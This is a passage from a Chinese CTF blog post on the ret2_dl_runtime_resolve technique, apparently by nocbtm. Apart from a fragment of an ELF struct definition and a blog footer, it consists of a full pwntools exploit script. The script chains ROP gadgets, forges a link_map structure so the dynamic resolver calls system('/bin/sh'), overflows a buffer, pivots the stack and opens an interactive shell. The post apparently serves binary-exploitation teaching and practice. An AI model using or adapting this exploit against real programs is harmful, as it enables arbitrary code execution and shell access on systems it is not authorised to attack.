Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
}Elf64_Dyn;
'''

universal_gadget1 = 0x4006AA
universal_gadget2 = 0x400690

Elf64_Sym_len = 0x18
Elf64_Rela_len = 0x18
write_addr = 0x600ad0
link_map_addr = write_addr+0x18
rbp = write_addr-8
pop_rdi_ret = 0x4006b3
leave = 0x400618
main = 0x4005E6

#fake_Elf64_Dyn_STR_addr = l+0x68
#fake_Elf64_Dyn_SYM_addr = l+0x70
#fake_Elf64_Dyn_JMPREL_addr = l+0xf8

l_addr = libc.sym['system'] - libc.sym['__libc_start_main']
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

def fake_link_map_gen(link_map_addr,l_addr,st_value):
fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
fake_Elf64_Dyn_STR_addr = link_map_addr
fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8)
fake_Elf64_rela = p64(link_map_addr - l_addr) + p64(7) + p64(0)

fake_link_map = p64(l_addr) #0x8
fake_link_map += fake_Elf64_Dyn_SYM #0x10
fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
fake_link_map += fake_Elf64_rela #0x18
fake_link_map += '\x00'*0x28
fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
fake_link_map += '/bin/sh\x00'.ljust(0x80,'\x00')
fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
return fake_link_map
fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['__libc_start_main'])

payload = 'a'*0x80
payload += p64(rbp)
payload += p64(universal_gadget1)
payload += p64(0) #pop rbx
payload += p64(1) #pop rbp
payload += p64(elf.got['read']) #pop r12
payload += p64(len(fake_link_map)+0x18) #pop r13
payload += p64(write_addr) #pop r14
payload += p64(0) #pop r15
payload += p64(universal_gadget2) #ret
payload += p64(0)*7
payload += p64(main)

p.sendafter('Input:\n',payload.ljust(0x200,'\x00'))
sleep(1)

fake_info = p64(0x4004A6) #jmp
fake_info += p64(link_map_addr)
fake_info += p64(0)
fake_info += fake_link_map
p.send(fake_info)

payload = 'a'*0x80+p64(rbp)+p64(pop_rdi_ret)+p64(link_map_addr+0x78)+p64(leave)
#stack pivot,进入函数重定向
p.sendafter('Input:\n',payload)

p.interactive()
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/02/24/ret2_dl_runtime_resolve/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝